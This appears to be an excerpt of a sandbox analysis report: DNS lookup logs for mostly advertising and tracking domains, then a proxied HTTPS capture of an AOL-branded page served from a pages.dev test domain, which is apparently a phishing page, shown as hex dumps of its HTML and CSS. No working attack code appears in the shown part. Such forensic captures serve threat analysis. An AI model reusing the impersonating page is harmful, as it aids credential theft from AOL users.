May 24, 2024 00:35:28.307086945 CEST	1.1.1.1	192.168.2.6	0x2b97	No error (0)	sync1.intentiq.com		13.224.222.65	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.307086945 CEST	1.1.1.1	192.168.2.6	0x2b97	No error (0)	sync1.intentiq.com		13.224.222.83	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.307086945 CEST	1.1.1.1	192.168.2.6	0x2b97	No error (0)	sync1.intentiq.com		13.224.222.108	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.307086945 CEST	1.1.1.1	192.168.2.6	0x2b97	No error (0)	sync1.intentiq.com		13.224.222.16	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:28.551942110 CEST	1.1.1.1	192.168.2.6	0x63c8	No error (0)	js-agent.newrelic.com		162.247.243.39	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.007555008 CEST	1.1.1.1	192.168.2.6	0xfd6c	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.007555008 CEST	1.1.1.1	192.168.2.6	0xfd6c	No error (0)	sync.1rx.io		46.228.174.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.014221907 CEST	1.1.1.1	192.168.2.6	0x195b	No error (0)	sync.targeting.unrulymedia.com	sync.1rx.io		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.019072056 CEST	1.1.1.1	192.168.2.6	0x6030	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.019090891 CEST	1.1.1.1	192.168.2.6	0xebae	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.019103050 CEST	1.1.1.1	192.168.2.6	0xe741	No error (0)	bats.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.043240070 CEST	1.1.1.1	192.168.2.6	0x87c0	No error (0)	bats.video.yahoo.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.043240070 CEST	1.1.1.1	192.168.2.6	0x87c0	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.043240070 CEST	1.1.1.1	192.168.2.6	0x87c0	No error (0)	edge.gycpi.b.yahoodns.net		87.248.119.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.369139910 CEST	1.1.1.1	192.168.2.6	0xdcaa	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.369139910 CEST	1.1.1.1	192.168.2.6	0xdcaa	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.369139910 CEST	1.1.1.1	192.168.2.6	0xdcaa	No error (0)	fastly-tls12-bam.nr-data.net		162.247.243.29	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:29.373847961 CEST	1.1.1.1	192.168.2.6	0x118a	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:29.373847961 CEST	1.1.1.1	192.168.2.6	0x118a	No error (0)	bam.cell.nr-data.net	bam.nr-data.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:30.367906094 CEST	1.1.1.1	192.168.2.6	0x4c7b	Name error (3)	ads.avct.cloud	none	none	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.508595943 CEST	1.1.1.1	192.168.2.6	0xe30e	No error (0)	3p-geo.yahoo.com	fam-geo-atsv2.prod.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.513272047 CEST	1.1.1.1	192.168.2.6	0x9ca8	No error (0)	3p-geo.yahoo.com	fam-geo-atsv2.prod.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.513272047 CEST	1.1.1.1	192.168.2.6	0x9ca8	No error (0)	fam-geo-atsv2.prod.media.g03.yahoodns.net		188.125.72.139	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		108.128.197.68	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.16.115.188	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.247.72.3	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.88.72	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.72.172.22	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.17.32.208	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.17.107.72	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853853941 CEST	1.1.1.1	192.168.2.6	0xde2c	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.251.227.208	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853864908 CEST	1.1.1.1	192.168.2.6	0x9072	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.853864908 CEST	1.1.1.1	192.168.2.6	0x9072	No error (0)	tagr-pixel-nginx-odr-euw4.mookie1.com		34.160.236.64	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853873968 CEST	1.1.1.1	192.168.2.6	0x5284	No error (0)	odr.mookie1.com	tagr-pixel-nginx-odr-euw4.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.853883028 CEST	1.1.1.1	192.168.2.6	0x76c8	No error (0)	ad.doubleclick.net		216.58.212.134	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.853892088 CEST	1.1.1.1	192.168.2.6	0x6a79	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
May 24, 2024 00:35:31.853899956 CEST	1.1.1.1	192.168.2.6	0xdcc4	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.853899956 CEST	1.1.1.1	192.168.2.6	0xdcc4	No error (0)	user-data-eu.bidswitch.net		35.214.149.91	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.854701996 CEST	1.1.1.1	192.168.2.6	0xbbb3	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.854701996 CEST	1.1.1.1	192.168.2.6	0xbbb3	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.854701996 CEST	1.1.1.1	192.168.2.6	0xbbb3	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.854716063 CEST	1.1.1.1	192.168.2.6	0x85a	No error (0)	x.bidswitch.net	user-data-eu.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.895452023 CEST	1.1.1.1	192.168.2.6	0xc9f5	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.895452023 CEST	1.1.1.1	192.168.2.6	0xc9f5	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.895452023 CEST	1.1.1.1	192.168.2.6	0xc9f5	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	emea-dtp-oao.ybp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.895452023 CEST	1.1.1.1	192.168.2.6	0xc9f5	No error (0)	emea-dtp-oao.ybp.yahoo.com	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.895452023 CEST	1.1.1.1	192.168.2.6	0xc9f5	No error (0)	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.909749985 CEST	1.1.1.1	192.168.2.6	0x710	No error (0)	tlx.3lift.com	eu-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.909749985 CEST	1.1.1.1	192.168.2.6	0x710	No error (0)	eu-tlx.3lift.com		3.124.64.248	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.909749985 CEST	1.1.1.1	192.168.2.6	0x710	No error (0)	eu-tlx.3lift.com		18.157.230.4	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.909749985 CEST	1.1.1.1	192.168.2.6	0x710	No error (0)	eu-tlx.3lift.com		3.78.168.176	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.909763098 CEST	1.1.1.1	192.168.2.6	0x548b	No error (0)	tlx.3lift.com	eu-tlx.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	c2shb-oao.ssp.yahoo.com	web-oao.ssp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	web-oao.ssp.yahoo.com	web-oao.one-mobile-prod.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	web-oao.one-mobile-prod.aws.oath.cloud	emea-dtp-oao.ybp.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	emea-dtp-oao.ybp.yahoo.com	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	dtp-gateway-prod-eu-west-1.dsp-plus-backend.aws.oath.cloud	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		34.248.144.134	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		99.80.161.19	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		54.220.51.236	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		99.80.59.81	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		34.250.204.32	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:31.949004889 CEST	1.1.1.1	192.168.2.6	0xeb9f	No error (0)	k8s-pbp-dtpgatew-3eb9e31923-1694008236.eu-west-1.elb.amazonaws.com		52.16.182.102	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.606184959 CEST	1.1.1.1	192.168.2.6	0xa4c5	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.607919931 CEST	1.1.1.1	192.168.2.6	0x2541	No error (0)	report.edgecast.com	cs1418.wpc.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:33.607919931 CEST	1.1.1.1	192.168.2.6	0x2541	No error (0)	cs1418.wpc.psicdn.net		152.195.133.117	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.634727955 CEST	1.1.1.1	192.168.2.6	0x2496	No error (0)	report.edgecast.com	cs1418.wpc.psicdn.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:33.814205885 CEST	1.1.1.1	192.168.2.6	0x6398	No error (0)	onetag-sys.com		51.75.86.98	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.814205885 CEST	1.1.1.1	192.168.2.6	0x6398	No error (0)	onetag-sys.com		51.38.120.206	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.814205885 CEST	1.1.1.1	192.168.2.6	0x6398	No error (0)	onetag-sys.com		51.89.9.251	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.814205885 CEST	1.1.1.1	192.168.2.6	0x6398	No error (0)	onetag-sys.com		51.89.9.254	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.814205885 CEST	1.1.1.1	192.168.2.6	0x6398	No error (0)	onetag-sys.com		51.89.9.253	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:33.814205885 CEST	1.1.1.1	192.168.2.6	0x6398	No error (0)	onetag-sys.com		51.89.9.252	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:36.587784052 CEST	1.1.1.1	192.168.2.6	0x5cab	No error (0)	ps.eyeota.net		52.57.150.20	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:41.168318987 CEST	1.1.1.1	192.168.2.6	0x7a92	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:41.168318987 CEST	1.1.1.1	192.168.2.6	0x7a92	No error (0)	bam.cell.nr-data.net	fastly-tls12-bam.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:41.168318987 CEST	1.1.1.1	192.168.2.6	0x7a92	No error (0)	fastly-tls12-bam.nr-data.net		162.247.243.29	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:41.168329954 CEST	1.1.1.1	192.168.2.6	0xe8a0	No error (0)	bam.nr-data.net	bam.cell.nr-data.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:41.168329954 CEST	1.1.1.1	192.168.2.6	0xe8a0	No error (0)	bam.cell.nr-data.net	bam.nr-data.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:42.161555052 CEST	1.1.1.1	192.168.2.6	0x39f6	No error (0)	www.google.com			65	IN (0x0001)	false
May 24, 2024 00:35:42.161567926 CEST	1.1.1.1	192.168.2.6	0x222b	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
May 24, 2024 00:35:42.359909058 CEST	1.1.1.1	192.168.2.6	0xd584	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:42.359925985 CEST	1.1.1.1	192.168.2.6	0xf48c	No error (0)	gum.criteo.com	gum.nl3.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
May 24, 2024 00:35:42.359925985 CEST	1.1.1.1	192.168.2.6	0xf48c	No error (0)	gum.nl3.vip.prod.criteo.com		178.250.1.11	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49706	172.66.47.157	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:17 UTC	664	OUT	GET / HTTP/1.1 Host: testing-1g0.pages.dev Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:17 UTC	766	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 867216 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "897bdeda05c5e739b01598eb8431e8c9" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KUaBAV4P7U5ew1k5iwfSZolEa%2BcfTHszQI%2FU1DND6yNeV0ymO%2FkyJSP2xb%2BLESH1%2FeABRgboWycE854o9qRHbG7DSIfMbv4Pt9BHExTZuStizmWxxhPOmhBqaYl6NUxpycuY%2Fad6mHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8888833489fa8c72-EWR alt-svc: h3=":443"; ma=86400
2024-05-23 22:34:17 UTC	603	IN	Data Raw: 3c 68 74 6d 6c 20 69 64 3d 22 53 74 65 6e 63 69 6c 22 20 63 6c 61 73 73 3d 22 6a 73 20 67 72 69 64 20 6c 69 67 68 74 2d 74 68 65 6d 65 20 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 4f 4c 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 41 4f 4c Data Ascii: <html id="Stencil" class="js grid light-theme "><head> <meta charset="utf-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no"> <title>AOL</title> <meta name="description" content="AOL
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 77 6d 2f 6c 6f 67 69 6e 2f 61 6f 6c 2d 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 33 2e 34 2e 31 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 2f 2a 21 20 50 75 72 65 20 76 30 2e 35 2e 30 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 34 20 59 61 68 6f 6f 21 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 42 53 44 20 4c 69 63 65 6e 73 65 Data Ascii: /s.yimg.com/wm/login/aol-apple-touch-icon.png"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script> <style>/*! Pure v0.5.0 Copyright 2014 Yahoo! Inc. All rights reserved. Licensed under the BSD License
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 66 61 6d 69 6c 79 3a 27 63 6f 75 72 69 65 72 20 6e 65 77 27 2c 6d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 70 72 65 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 2d 77 72 61 70 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 71 7b 71 75 6f 74 65 73 3a 6e 6f 6e 65 7d 71 3a 62 65 66 6f 72 65 2c 71 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 27 27 3b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 73 75 62 2c 73 75 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 Data Ascii: family:'courier new',monospace;font-size:1em}pre{white-space:pre;white-space:pre-wrap;word-wrap:break-word}q{quotes:none}q:before,q:after{content:'';content:none}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:base
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 65 61 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 75 72 65 2d 69 6d 67 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 70 75 72 65 2d 67 7b 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 2d 2e 33 31 65 6d 3b 2a 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 6e 6f 72 6d 61 6c 3b 2a 77 6f 72 64 2d 73 70 61 63 69 6e 67 3a 2d 2e 34 33 65 6d 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 Data Ascii: ea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}[hidden]{display:none!important}.pure-img{max-width:100%;height:auto;display:block}.pure-g{letter-spacing:-.31em;letter-spacing:normal;word-spacing:-.43em;text-rendering
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 37 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 31 32 2c 2e 70 75 72 65 2d 75 2d 32 2d 32 34 7b 77 69 64 74 68 3a 38 2e 33 33 33 33 25 3b 2a 77 69 64 74 68 3a 38 2e 33 30 32 33 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 38 2c 2e 70 75 72 65 2d 75 2d 33 2d 32 34 7b 77 69 64 74 68 3a 31 32 2e 35 25 3b 2a 77 69 64 74 68 3a 31 32 2e 34 36 39 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 36 2c 2e 70 75 72 65 2d 75 2d 34 2d 32 34 7b 77 69 64 74 68 3a 31 36 2e 36 36 36 37 25 3b 2a 77 69 64 74 68 3a 31 36 2e 36 33 35 37 25 7d 2e 70 75 72 65 2d 75 2d 31 2d 35 7b 77 69 64 74 68 3a 32 30 25 3b 2a 77 69 64 74 68 3a 31 39 2e 39 36 39 25 7d 2e 70 75 72 65 2d 75 2d 35 2d 32 34 7b 77 69 64 74 68 3a 32 30 2e 38 33 33 33 25 3b 2a 77 69 64 74 68 3a 32 30 2e 38 30 32 33 25 7d 2e 70 75 72 65 2d 75 2d Data Ascii: 7%}.pure-u-1-12,.pure-u-2-24{width:8.3333%;width:8.3023%}.pure-u-1-8,.pure-u-3-24{width:12.5%;width:12.469%}.pure-u-1-6,.pure-u-4-24{width:16.6667%;width:16.6357%}.pure-u-1-5{width:20%;width:19.969%}.pure-u-5-24{width:20.8333%;*width:20.8023%}.pure-u-
2024-05-23 22:34:17 UTC	1369	IN	Data Raw: 62 6c 6f 63 6b 3b 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 7a 6f 6f 6d 3a 31 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 64 72 61 67 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 70 75 72 65 2d 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 Data Ascii: block;*display:inline;zoom:1;line-height:normal;white-space:nowrap;vertical-align:baseline;text-align:center;cursor:pointer;-webkit-user-drag:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.pure-button::-moz-focu
